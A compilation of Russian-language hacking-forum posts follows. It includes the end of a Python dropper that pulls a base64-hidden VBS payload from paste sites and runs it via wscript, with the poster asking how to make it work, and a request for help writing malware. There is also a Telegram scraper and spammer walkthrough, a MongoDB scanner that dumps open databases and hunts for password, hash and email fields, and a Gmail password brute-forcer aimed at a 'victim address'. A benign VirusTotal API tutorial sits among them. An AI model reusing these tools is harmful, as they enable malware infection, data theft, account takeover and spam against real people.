koneki = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + ".vbs"
ruyk = open(koneki, "a")
ruyk.write(str(asuna))
ruyk.close()
os.system("wscript %s " % koneki)
except:
print
И так что же делает данный скрипт, вначале через urllib request он пытается
подтянуть содержимое зашифрованное в base64, там ссылка на
https://hastebin.com/raw/teyivoyudo. Перейдя по которой мы обнаружим, vbs
скрипт, который будет загружен, создан и распакован в определенную папку, в
моем случае это %appdata%, сам скрипт я выложу чуть позже, а пока что пойдем
дальше. Если ему это не удается, он отправится дальше и попробует подтянуть
второй хэш в нем будет ссылка на https://pastebin.pl/view/raw/5d7731f5
внутри которой в base64 ссылка на https://pastebin.com/raw/PRb3YPWQ, которая
опять же является не чем иным, как тем самым vbs скриптом.
Vbs скрипт приложу следующим постом, ибо не влазиет.
И так собственно говоря, код был мной переписан немного, так как оригинальный
видимо использовал urllib2 которые, в свою очередь использовались python 2.7,
я же юзал python3.6 и импортировал urllib.requests
.
Внимание вопрос: Что не так с python кодом?
vbs script сам по себе работает как положено, подменяет без проблем, мне же
хочется заставить python код подтягивать vbs файл как положено с пэйстбина,
однако этого не происходит.
Толи я ошибся в импорте urllib и нужно было делать как в оригинале и юзать
python2.7, толи черт его знает. Дайте совет, как заставить это работать?
Оригинальный код прилагаю ниже в виде фотографий, таким каким его отыскал.
Доброго всем.
малварь на питоне ,что для этого нужно? где найти инфу ? хотя бы с чего
начать?
у кого был или есть опыт пишите
лс или тг @korolanna3
Всем привет, господа! У нас на подходе склейка скриптов, которые помогут вам в развитии своих проектов. Это парсер, инвайтер и спаммер одновременно [CLIKE]- https://github.com/th3unkn0n/TeleGram-Scraper. [/CLIKE]Давайте сделаем обзор на данную тулзу.
Для установки скрипта, пишем эти команды:
$ pkg install -y git python
$ git clone[CLIKE] https://github.com/th3unkn0n/TeleGram-Scraper.git[/CLIKE]
$ cd TeleGram-Scraper
Инструкция:
1. установить питон (по ссылке, обязательно!).
1.1 При установке, ставим галочку на Add Python 3.7 to PATH, и
выбираем кастомную установку. Дальше
1.2 Ставим все галочки. Дальше
1.2 Ставим все галочки. Путь установки C:\Python37. Install.
2. После установки, переходим в папку, нажимаем и удерживаем
SHIFT и второй клик на свободное место, и выбирает открыть командную строку.
2.1 В командной строке пишем: python setup.py -i
2.2 После установки всего необходимого, переходим по адресу my.telegram.org
и логинимся в рабочий акк.
2.3 Выбераем API Development tools, вводим названйе и короткое название (любые). Дальше
2.4 В CMD пишем python setup.py -c
2.5 Вводим api_id, api_hash и номер телефона
2.6 Далее пишем python setup.py -i (так мы установим все модули)
Ну а теперь смотрим, что можно выполнить!
Для начала, мы должны создать фейк аккаунт, далее войти в чат, откуда будем парсить людей, и начать выполнять номер 2 в инструкции.
Теперь, как только мы вошли в нужный нам чат, мы должны запустить парсер. Запускаем CMD в той же директории, и пишем:
$ python scraper.py - выбираем чат, и ждем пока все спарсится.
Отлично! Все юзеры с нашего чата спарсены.
Также, есть два режима.
Инвайтер - добавляет с базы парсера людей в ваш чат.
Спаммер - отправляет ваш текст людям с базы парсера в ЛС.
Чтобы запустить инвайтер, пишем в CMD:
$ python3 add2group.py members.csv - вводим
members csv - это база с парсера
Чтобы запустить спаммер, пишем в CMD:
$ python3 smsbot.py members.csv
Вводим далее текст для рассылки, и начинается рассылка по всем пользователям в базе.
Короче, склейка хорошая - для рекламы своих продуктов вполне сойдет. Но не злоупотребляйте, плохо будет) Всем удачи!
Старый скрипт для проверки IP на наличие MongoDB и проверку прав, если бд не
закрыта правами, то присходит проверка на интересующие поля.
Скрипту года 2-3, работает в один поток, если нужно могу переписать, добавить
многопоточность и Elastic, Couch и т.п.
Работает с последней версией Python (чуть пришлось переписать).
Установка зависимостей: pip install pymongo
Настройки тут:
Python:Copy to clipboard
TARGET_PATH = r'ip.txt'
MONGO_CONNECT_TIMEOUT = 5000
MONGO_SOCKET_TIMEOUT = 5000
MONGO_PORT = 27017
PORT_CHECK_TIMEOUT = 5
Тут поля для поиска:
Python:Copy to clipboard
get_db_info(c,['pass', 'hash', 'email'])
Python:Copy to clipboard
import os, socket
from pymongo import MongoClient
def check_port(ip, port, portCheckTimeout):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(portCheckTimeout)
try:
s.connect((ip, port))
except:
return False
else:
return True
def get_db_info(c, find_word):
if not os.path.exists(c.address[0]):
os.makedirs(c.address[0])
info_path = '{}/# Data_Base_Info'.format(c.address[0])
write_log(info_path,'='*18 + ' MongoDB Info ' + '='*18)
write_log(info_path,'\tIp Address: {}'.format(c.address[0]))
write_log(info_path,'\tMongoDB Version: {}'.format(c.server_info()['version']))
write_log(info_path,'\tDebugs Enabled: {}'.format(str(c.server_info()['debug'])))
write_log(info_path,'\tPlatform: {} bit'.format(str(c.server_info()['bits'])))
write_log(info_path,'\tData Bases: {}'.format(', '.join(c.database_names())))
for word in find_word:
write_log(info_path,'\tFind "{}": {}'.format(word, find_field(c,word)))
write_log(info_path,'='*50)
def get_dump(c):
for collection in c.database_names():
db = c[collection]
for table in db.collection_names():
if table != 'system.indexes':
write_to_txt(c.address[0]+'/'+collection,('# Ip Address: {} Collection: {} Database: {}'.format(c.address[0],collection,table)).upper())
# Set Columns Names
cur = db[table].find({}).limit(1)
for doc in cur:
write_to_txt(c.address[0]+'/'+collection,('# Columns: '+(', '.join(doc.keys()))))
# Set Values
cur = db[table].find({})
line = []
for doc in cur:
for k, v in doc.items():
try:
line.append(' '.join(str(v).split()))
except:
line.append('Error line')
write_to_txt(c.address[0]+'/'+collection,(', '.join(line)))
line = []
write_to_txt(c.address[0]+'/'+collection,('-'*50))
def find_field(c, find_word):
find_match = ''
for collection in c.database_names():
db = c[collection]
for table in db.collection_names():
if table != 'system.indexes':
cur = db[table].find({}).limit(1)
for doc in cur:
for field in doc.keys():
if find_word in field:
find_match = '[+] {} {} {}'.format(collection,table,field)
if find_match == '':
find_match = '[-] Match not found!'
return find_match
def conn(ip, MongoPort, connectTimeoutMS, socketTimeoutMS, portCheckTimeout):
if check_port(ip, MongoPort, portCheckTimeout):
try:
c = MongoClient(ip, MongoPort, connectTimeoutMS=connectTimeoutMS, socketTimeoutMS=socketTimeoutMS)
c.list_database_names()
except Exception as e:
if ('servers found' in str(e)) or ('[Errno 10054]' in str(e)):
print ('[-] {} MongoDB not found'.format(ip))
write_to_txt('Bad',ip)
elif 'auth' in str(e):
print ('[*] {} MongoDB Require Authorized'.format(ip))
write_to_txt('ForBrute',ip)
else:
print ('[?] {} Unidentified Error: {}'.format(ip, e))
write_to_txt('Trash',ip)
return False
else:
return c
else:
return False
def write_log(path, line):
print (line)
with open('{}.txt'.format(path), "a") as f:
f.write('{}\n'.format(line))
f.close()
def write_to_txt(path, line):
with open('{}.txt'.format(path), "a") as f:
f.write('{}\n'.format(line))
f.close()
if __name__ == "__main__":
TARGET_PATH = r'ip.txt'
MONGO_CONNECT_TIMEOUT = 5000
MONGO_SOCKET_TIMEOUT = 5000
MONGO_PORT = 27017
PORT_CHECK_TIMEOUT = 5
ip_address = open(TARGET_PATH,'r').read().splitlines()
for ip in ip_address:
c = conn(ip, MONGO_PORT, MONGO_CONNECT_TIMEOUT, MONGO_SOCKET_TIMEOUT, PORT_CHECK_TIMEOUT)
if c != False:
get_db_info(c,['pass', 'hash', 'email'])
get_dump(c)
Code:Copy to clipboard
import smtplib
import email.utils
s = "n"
while s in ['n','N']:
print("""\033[1;32m
_____ _ _ _ | Author: Joynses
| __ |___ _ _| |_ ___ ___ ___ _____ ___|_| | | Date: 17/03/2020
| __ -| _| | | _| -_|___| -_| | .'| | | | Tool: Brute-force for Gmail
|_____|_| |___|_| |___| |___|_|_|_|__,|_|_| | More info : Easy-Brute
""")
#variaves de entrada
user = input(" Enter victim address>> ")
smtp = smtplib.SMTP("smtp.gmail.com", 587)
smtp.ehlo()
smtp.starttls()
word = input(' Press F to pay respect for Author and to select your dictionary: ')
if word == 'F':
lista = input(" [!]Dictionary Name: ")
lista = open(lista, "r").readlines()
for password in lista:
try:
smtp.login(user, password)
print('[!]Correct password! ', password)
break
except smtplib.SMTPAuthenticationError:
print('[!]Incorrect password', password)
else:
print( ' Invalid option ' )
s = input( ' Go out? [S/N]: ' )
EU edition: Very easy to use
Attention! **Provided for informational purposes only. Live by the law and do no harm to anyone
RU edition:** Очень прост в использовании
Внимание! **Предоставлено только в ознакомительных целях. Живите по закону и никому не вредите
P.S С таким брутом вы далеко не уедите) Он нуждается в доработке.**
Ты наверняка не раз пользовался услугами сайта virustotal.com, чтобы проверить, не содержат ли бинарники вредоносных функций, либо протестировать собственные наработки. У этого сервиса есть бесплатный API, работу с которым на Python мы и разберем в этой статье.
![Сайт virustotal.com](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F124e706472d1e9f544d5ffce13f2469b%2F10734%2F1.png&hash=7a03487cd935352239d34bc3dc077235)
Чтобы пользоваться программными интерфейсами VirusTotal без ограничений, нужно получить ключ, который обходится в серьезную сумму — цены начинаются с 700 евро в месяц. Причем частному лицу даже при готовности платить ключ не дадут.
Однако отчаиваться не стоит, поскольку основные функции сервис предоставляет бесплатно и ограничивает нас лишь по числу запросов — не более двух в минуту. Что ж, придется с этим мириться.
Получаем API Key
Итак, первым делом нам нужна регистрация на сайте. Тут проблем никаких — я уверен, что ты справишься. После регистрации берем ключ доступа, перейдя в пункт меню API key.
![Вот здесь лежит ключ доступа к API
VirusTotal](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F124e706472d1e9f544d5ffce13f2469b%2F10735%2F2.png&hash=75c599fbf9579ad699933a8758587c92)
Вот здесь лежит ключ доступа к API VirusTotal
Версии API
Сейчас актуальная версия API имеет номер 2. Но при этом уже существует и новый вариант — номер 3. Эта версия API пока еще находится в стадии беты, но ее уже вполне можно использовать, тем более что возможности, которые она предоставляет, гораздо шире.
Разработчики пока что рекомендуют применять третью версию только для экспериментов либо для некритичных проектов. Мы же разберем обе версии. Ключ доступа для них одинаков.
API VirusTotal. Версия 2
Как и в случае с другими популярными веб-сервисами, работа с API заключается в
пересылке запросов по HTTP и получении ответов.
API второй версии позволяет:
Ошибки
Если запрос был правильно обработан и ошибок не возникло, будет возвращен код
200 (OK).
Если же произошла ошибка, то могут быть такие варианты:
При правильном формировании запроса (код состояния HTTP — 200) ответ будет представлять собой объект JSON, в теле которого присутствуют как минимум два поля:
Остальная информация, содержащаяся в ответном объекте JSON, зависит от того, какая функция API была использована.
Отправка файла на сервер для сканирования
Для отправки файла на сканирование необходимо сформировать POST-запрос на
адрес https://www.virustotal.com/vtapi/v2, при этом в запросе нужно указать
ключ доступа к API и передать сам файл (здесь есть ограничение на размер файла
— не более 32 Мбайт). Это может выглядеть следующим образом (используем
Python):
Python:Copy to clipboard
import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/scan'
params = dict(apikey='<ключ доступа>')
with open('<путь к файлу>', 'rb') as file:
files = dict(file=('<путь к файлу>', file))
response = requests.post(api_url, files=files, params=params)
if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort_keys=False, indent=4))
...
Здесь вместо строки <ключ доступа> необходимо вставить свой ключ доступа к API, а вместо <путь к файлу> — путь к файлу, который ты будешь отправлять в VirusTotal. Если у тебя нет библиотеки requests, то поставь ее командой pip install requests.
В ответ, если все прошло успешно и код состояния HTTP равен 200, мы получим примерно вот такую картину:
Code:Copy to clipboard
{
"response_code": 1,
"verbose_msg": "Scan request successfully queued, come back later for the report",
"scan_id": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276",
"resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"md5": "44d88612fea8a8f36de82e1278abb02f",
"sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"permalink": "https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/"
}
Здесь мы видим значения response_code и verbose_msg, а также хеши файла SHA-256, SHA-1 и MD5, ссылку на результаты сканирования файла на сайте permalink и идентификатор файла scan_id.
Помни, что в ходе открытия файла или отправки запросов на сервер могут возникать исключения: FileNotFoundError, если файла нет, requests.ConnectionError, requests.Timeout при ошибках соединения и так далее.
Получение отчета о последнем сканировании файла
Используя какой-либо из хешей или значение scan_id из ответа, можно получить отчет по последнему сканированию файла (если файл уже загружался на VirusTotal). Для этого нужно сформировать GET-запрос и в запросе указать ключ доступа и идентификатор файла. Например, если у нас есть scan_id из предыдущего примера, то запрос будет выглядеть так:
Python:Copy to clipboard
import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort_keys=False, indent=4))
...
В случае успеха в ответ мы увидим следующее:
Code:Copy to clipboard
{
"response_code": 1,
"verbose_msg": "Scan finished, information embedded",
"resource": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"sha1": "3395856ce81f2b7382dee72602f798b642f14140",
"md5": "44d88612fea8a8f36de82e1278abb02f",
"sha256": "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f",
"scan_date": "2019-11-27 08:06:03",
"permalink": "https://www.virustotal.com/file/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f/analysis/1577043276/",
"positives": 59,
"total": 69,
"scans": {
"Bkav": {
"detected": true,
"version": "1.3.0.9899",
"result": "DOS.EiracA.Trojan",
"update": "20191220"
},
"DrWeb": {
"detected": true,
"version": "7.0.42.9300",
"result": "EICAR Test File (NOT a Virus!)",
"update": "20191222"
},
"MicroWorld-eScan": {
"detected": true,
"version": "14.0.297.0",
"result": "EICAR-Test-File",
"update": "20191222"
},
...
...
"Panda": {
"detected": true,
"version": "4.6.4.2",
"result": "EICAR-AV-TEST-FILE",
"update": "20191222"
},
"Qihoo-360": {
"detected": true,
"version": "1.0.0.1120",
"result": "qex.eicar.gen.gen",
"update": "20191222"
}
}
Здесь, как и в первом примере, получаем значения хешей файла, scan_id, permalink, значения response_code и verbose_msg. Также видим результаты сканирования файла антивирусами и общие результаты оценки total — сколько всего антивирусных движков было задействовано в проверке и positives — сколько антивирусов дали положительный вердикт.
Чтобы вывести результаты сканирования всеми антивирусами в удобоваримом виде, можно, например, написать что-то в таком роде:
Python:Copy to clipboard
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/file/report'
params = dict(apikey='<ключ доступа>', resource='275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f-1577043276')
response = requests.get(api_url, params=params)
if response.status_code == 200:
result=response.json()
for key in result['scans']:
print(key)
print(' Detected: ', result['scans'][key]['detected'])
print(' Version: ', result['scans'][key]['version'])
print(' Update: ', result['scans'][key]['update'])
print(' Result: ', 'result['scans'][key]['result'])
...
![Вывод на экран информации о результатах сканирования файла на VirusTotal с
использованием разных антивирусных
движков](/proxy.php?image=https%3A%2F%2Fst768.s3.eu-
central-1.amazonaws.com%2F124e706472d1e9f544d5ffce13f2469b%2F10736%2F3.png&hash=8e906cc9f83685c7109ca0619402127a)
Вывод на экран информации о результатах сканирования файла на VirusTotal с
использованием разных антивирусных движков
Отправка URL на сервер для сканирования
Чтобы отправить URL для сканирования, нам необходимо сформировать и послать POST-запрос, содержащий ключ доступа и сам URL:
Code:Copy to clipboard
import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/scan'
params = dict(apikey='<ключ доступа>', url='https://xakep.ru/author/drobotun/')
response = requests.post(api_url, data=params)
if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort_keys=False, indent=4))
...
В ответ мы получим примерно то же, что и при отправке файла, за исключением значений хеша. Содержимое поля scan_id можно использовать для получения отчета о сканировании данного URL.
Получение отчета о результатах сканирования URL-адреса
Сформируем GET-запрос с ключом доступа и укажем либо непосредственно сам URL в виде строки, либо значение scan_id, полученное с помощью предыдущей функции. Это будет выглядеть следующим образом:
Code:Copy to clipboard
import json
import requests
...
api_url = 'https://www.virustotal.com/vtapi/v2/url/report'
params = dict(apikey='<ключ доступа>', resource='https://xakep.ru/author/drobotun/', scan=0)
response = requests.get(api_url, params=params)
if response.status_code == 200:
result=response.json()
print(json.dumps(result, sort_keys=False, indent=4))
...
Помимо ключа доступа и строки с URL, здесь присутствует опциональный параметр scan — по умолчанию он равен нулю. Если же его значение равно единице, то, когда информации о запрашиваемом URL в базе VirusTotal нет (URL ранее не проверялся), этот URL будет автоматически отправлен на сервер для проверки, после чего в ответ мы получим ту же информацию, что и при отправке URL на сервер. Если этот параметр равен нулю (или не задавался), мы получим отчет об этом URL либо (если информация о нем в базе VirusTotal отсутствует) ответ такого вида:
Code:Copy to clipboard
{
"response_code": 0,
"resource": "<запрашиваемый URL>",
"verbose_msg": "Resource does not exist in the dataset"
}
Получение информации об IP-адресах и доменах
Чтобы проверить IP-адреса и домены, нужно сформировать и отправить GET-запрос с ключом, именем проверяемого домена либо IP в виде строки. Для проверки домена это выглядит так:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/vtapi/v2/domain/report'
params = dict(apikey='<ключ доступа>', domain=<'имя домена'>)
response = requests.get(api_url, params=params)
...
Для проверки IP-адреса:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/vtapi/v2/ip-address/report'
params = dict(apikey='<ключ доступа>', ip=<'IP-адрес'>)
response = requests.get(api_url, params=params)
...
Ответы на такие запросы объемны и содержат много информации. Например, для IP 178.248.232.27 (это IP «Хакера») начало отчета, полученного с сервера VirusTotal, выглядит так:
Code:Copy to clipboard
{
"country": "RU",
"response_code": 1,
"as_owner": "HLL LLC",
"verbose_msg": "IP address in dataset",
"continent": "EU",
"detected_urls": [
{
"url": "https://xakep.ru/author/drobotun/",
"positives": 1,
"total": 72,
"scan_date": "2019-12-18 19:45:02"
},
{
"url": "https://xakep.ru/2019/12/18/linux-backup/",
"positives": 1,
"total": 72,
"scan_date": "2019-12-18 16:35:25"
},
...
]
}
API VirusTotal. Версия 3
В третьей версии API намного больше возможностей по сравнению со второй — даже с использованием бесплатного ключа. Более того, при экспериментах с третьей версией я не заметил, чтобы ограничивалось число загружаемых объектов (файлов или адресов) на сервер в течение минуты. Похоже, ограничения в бете пока вообще не действуют.
Функции третьей версии API спроектированы с использованием принципов REST и просты для понимания. Ключ доступа здесь передается в заголовке запроса.
Ошибки
В третьей версии API список ошибок (и, соответственно, кодов состояния HTTP)
расширился. Были добавлены:
В случае ошибки, помимо кода состояния, сервер возвращает дополнительную информацию в форме JSON. Правда, как выяснилось, не для всех кодов состояния HTTP: к примеру, для ошибки 404 дополнительная информация представляет собой обычную строку.
Формат JSON для ошибки следующий:
Code:Copy to clipboard
{
"error": {
"code": "<код состояния HTTP>",
"message": "<сообщение с описанием ошибки>"
}
}
Функции работы с файлами
Третья версия API позволяет:
Для загрузки файла на сервер нужно его отправить через POST-запрос. Это можно сделать так:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files'
headers = {'x-apikey' : '<ключ доступа к API>'}
with open('<путь к файлу>', 'rb') as file:
files = {'file': ('<путь к файлу>', file)}
response = requests.post(api_url, headers=headers, files=files)
...
В ответ мы получим следующее:
Code:Copy to clipboard
{
"data": {
"id": "ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NzIxOTQ1Mg==",
"type": "analysis"
}
}
Здесь мы видим значение id, которое служит идентификатором файла. Этот идентификатор нужно использовать для получения информации об анализе файла в GET-запросах типа /analyses (об этом мы поговорим чуть позже).
Чтобы получить URL для загрузки большого файла (более 32 Мбайт), нужно
отправить GET-запрос, в котором в качестве URL указывается
https://www.virustotal.com/api/v3/files/upload_url
. В заголовок вставляем
ключ доступа:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files/upload_url'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...
В ответ получим JSON с адресом, по которому следует загрузить файл для анализа. Полученный URL при этом можно использовать только один раз.
Чтобы получить информацию о файле, который сервис уже анализировал, нужно сделать GET-запрос с идентификатором файла в URL (им может быть хеш SHA-256, SHA-1 или MD5). Так же как и в предыдущих случаях, указываем в заголовке ключ доступа:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...
В ответ мы получим отчет о проверке файла, где, помимо результатов сканирования всеми антивирусами VirusTotal, будет много дополнительной информации, состав которой зависит от типа проверенного файла. Например, для исполняемых файлов можно увидеть информацию о таких атрибутах:
Code:Copy to clipboard
{
"attributes": {
"authentihash": "8fcc2f670a166ea78ca239375ed312055c74efdc1f47e79d69966461dd1b2fb6",
"creation_date": 1270596357,
"exiftool": {
"CharacterSet": "Unicode",
"CodeSize": 20480,
"CompanyName": "TYV",
"EntryPoint": "0x109c",
"FileFlagsMask": "0x0000",
"FileOS": "Win32",
"FileSubtype": 0,
"FileType": "Win32 EXE",
"FileTypeExtension": "exe",
"FileVersion": 1.0,
"FileVersionNumber": "1.0.0.0",
"ImageFileCharacteristics": "No relocs, Executable, No line numbers, No symbols, 32-bit",
...
...
"SubsystemVersion": 4.0,
"TimeStamp": "2010:04:07 00:25:57+01:00",
"UninitializedDataSize": 0
},
...
}
}
Или, например, информацию о секциях исполняемого файла:
Code:Copy to clipboard
{
"sections": [
{
"entropy": 3.94,
"md5": "681b80f1ee0eb1531df11c6ae115d711",
"name": ".text",
"raw_size": 20480,
"virtual_address": 4096,
"virtual_size": 16588
},
{
"entropy": 0.0,
"md5": "d41d8cd98f00b204e9800998ecf8427e",
"name": ".data",
"raw_size": 0,
"virtual_address": 24576,
"virtual_size": 2640
},
...
}
}
Если файл ранее не загружался на сервер и еще не анализировался, то в ответ мы получим ошибку типа Not Found Error с HTTP-кодом состояния, равным 404:
Code:Copy to clipboard
{
"error": {
"code": "NotFoundError",
"message": "File \"<идентификатор файла>" not found"
}
}
Чтобы повторно проанализировать файл, нужно также отправить на сервер GET-
запрос, в котором в URL помещаем идентификатор файла, а в конце добавляем
/analyse
:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/analyse'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...
Ответ будет включать в себя такой же дескриптор файла, как и в первом случае — при загрузке файла на сервер. И так же, как и в первом случае, идентификатор из дескриптора можно использовать для получения информации об анализе файла через GET-запрос типа /analyses.
Просмотреть комментарии пользователей сервиса, а также результаты голосования по файлу можно, отправив на сервер соответствующий GET-запрос. Для получения комментариев:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/comments'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...
Для получения результатов голосования:
Code:Copy to clipboard
...
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
...
В обоих случаях можно использовать дополнительный параметр limit, определяющий максимальное количество комментариев или голосов в ответе на запрос. Использовать этот параметр можно, например, так:
Code:Copy to clipboard
...
limit = {'limit': str(<число голосов в ответе>)}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers, params=limit)
...
Чтобы разместить свой комментарий или проголосовать за файл, создаем POST- запрос, а комментарий или голос передаем как объект JSON:
Code:Copy to clipboard
...
## Для отправки результатов голосования
votes = {'data': {'type': 'vote', 'attributes': {'verdict': <'malicious' или 'harmless'>}}}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/votes'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, json=votes)
...
## Для отправки комментария
comments = {'data': {'type': 'vote', 'attributes': {'text': <текст комментария>}}}
headers = {'x-apikey' : '<ключ доступа к API>'}
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/comments'
response = requests.post(api_url, headers=headers, json=comments)
...
Чтобы получить дополнительную информацию о файле, можно запросить подробности о связанных с ним объектах. В данном случае объекты могут характеризовать, например, поведение файла (объект behaviours) или URL, IP-адреса, доменные имена (объекты contacted_urls, contacted_ips, contacted_domains).
Интереснее всего объект behaviours
. К примеру, для исполняемых файлов он
будет включать в себя информацию о загружаемых модулях, создаваемых и
запускаемых процессах, операциях с файловой системой и реестром, сетевых
операциях.
Чтобы получить эту информацию, отправляем GET-запрос:
Code:Copy to clipboard
api_url = 'https://www.virustotal.com/api/v3/files/<значение идентификатора файла>/behaviours'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
В ответе будет объект JSON с информацией о поведении файла:
Code:Copy to clipboard
{
"data": [
{
"attributes": {
"analysis_date": 1548112224,
"command_executions": [
"C:\\WINDOWS\\system32\\ntvdm.exe -f -i1",
"/bin/bash /private/tmp/eicar.com.sh"
],
"has_html_report": false,
"has_pcap": false,
"last_modification_date": 1577880343,
"modules_loaded": [
"c:\\windows\\system32\\user32.dll",
"c:\\windows\\system32\\imm32.dll",
"c:\\windows\\system32\\ntdll.dll"
]
},
...
}
]
}
Функции для работы с URL
В список возможных операций с URL входят:
Большая часть указанных операций (за исключением последней) выполняется аналогично таким же операциям с файлами. При этом в качестве идентификатора URL могут служить либо строка с URL, закодированная в Base64 без добавочных знаков «равно», либо хеш SHA-256 от URL. Реализовать это можно так:
Code:Copy to clipboard
## Для Base64
import base64
...
id_url = base64.urlsafe_b64encode(url.encode('utf-8')).decode('utf-8').rstrip('=')
...
## Для SHA-256
import hashlib
...
id_url = hashlib.sha256(url.encode()).hexdigest()
Чтобы отправить URL для анализа, нужно использовать POST-запрос:
Code:Copy to clipboard
data = {'url': '<строка с именем URL>'}
api_url = 'https://www.virustotal.com/api/v3/urls'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers, data=data)
В ответ мы увидим дескриптор URL (по аналогии с дескриптором файла):
Code:Copy to clipboard
{
"data": {
"id": "u-1a565d28f8412c3e4b65ec8267ff8e77eb00a2c76367e653be774169ca9d09a6-1577904977",
"type": "analysis"
}
}
Идентификатор id из этого дескриптора используем для получения информации об анализе файла через GET-запрос типа /analyses (об этом запросе ближе к концу статьи).
Получить информацию о доменах или IP-адресах, связанных с каким-либо URL,
можно, применив GET-запрос типа /network_location
(здесь используем Base64
или SHA-256 идентификатор URL):
Code:Copy to clipboard
api_url = 'https://www.virustotal.com/api/v3/urls/<идентификатор URL (Base64 или SHA-256)>/network_location'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.post(api_url, headers=headers)
Остальные операции с URL выполняются так же, как и аналогичные операции работы с файлами.
Функции работы с доменами и IP-адресами
Этот список функций включает в себя:
Все эти операции реализуются аналогично таким же операциям с файлами либо с URL. Отличие в том, что здесь используются непосредственно имена доменов или значения IP-адресов, а не их идентификаторы.
Например, получить информацию о домене www.xakep.ru можно таким образом:
Code:Copy to clipboard
api_url = 'https://www.virustotal.com/api/v3/domains/www.xakep.ru'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
А, к примеру, посмотреть комментарии по IP-адресу 178.248.232.27 — вот так:
Code:Copy to clipboard
api_url = 'https://www.virustotal.com/api/v3/ip_addresses/178.248.232.27/comments'
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
GET-запрос типа /analyses
Такой запрос позволяет получить информацию о результатах анализа файлов или URL после их загрузки на сервер или после повторного анализа. При этом необходимо использовать идентификатор, содержащийся в поле id дескриптора файла, или URL, полученные в результате отправки запросов на загрузку файла или URL на сервер либо в результате повторного анализа файла или URL.
Например, сформировать подобный запрос для файла можно вот так:
Code:Copy to clipboard
TEST_FILE_ID = 'ZTRiNjgxZmJmZmRkZTNlM2YyODlkMzk5MTZhZjYwNDI6MTU3NjYwMTE1Ng=='
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_FILE_ID
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
И вариант для URL:
Code:Copy to clipboard
TEST_URL_ID = 'u-dce9e8fbe86b145e18f9dcd4aba6bba9959fdff55447a8f9914eb9c4fc1931f9-1576610003'
...
api_url = 'https://www.virustotal.com/api/v3//analyses/' + TEST_URL_ID
headers = {'x-apikey' : '<ключ доступа к API>'}
response = requests.get(api_url, headers=headers)
Заключение
Мы прошлись по всем основным функциям API сервиса VirusTotal. Ты можешь
позаимствовать приведенный код для своих проектов. Если используешь вторую
версию, понадобится следить за тем, чтобы не отправлять запросы слишком часто,
но в третьей версии такого ограничения пока что нет. Рекомендую выбрать именно
ее, поскольку и возможности здесь тоже намного шире. К тому же рано или поздно
она станет основной.
WWW
Автор: Евгений Дроботун aka @drobotun
взято c хакер.ру
На обзоре инструмент,который позволяет установить или держать у себя под рукой 20 полезных утилит!
Устанавливаем Termux
Прописываем команды в консоль:
[CLIKE]?pkg update[/CLIKE]
Click to expand...
[CLIKE]
?pkg upgrate
Click to expand...
?apt-get install git
Click to expand...
?apt-get install python
Click to expand...
?git clone https://github.com/AnonHackerr/toolss
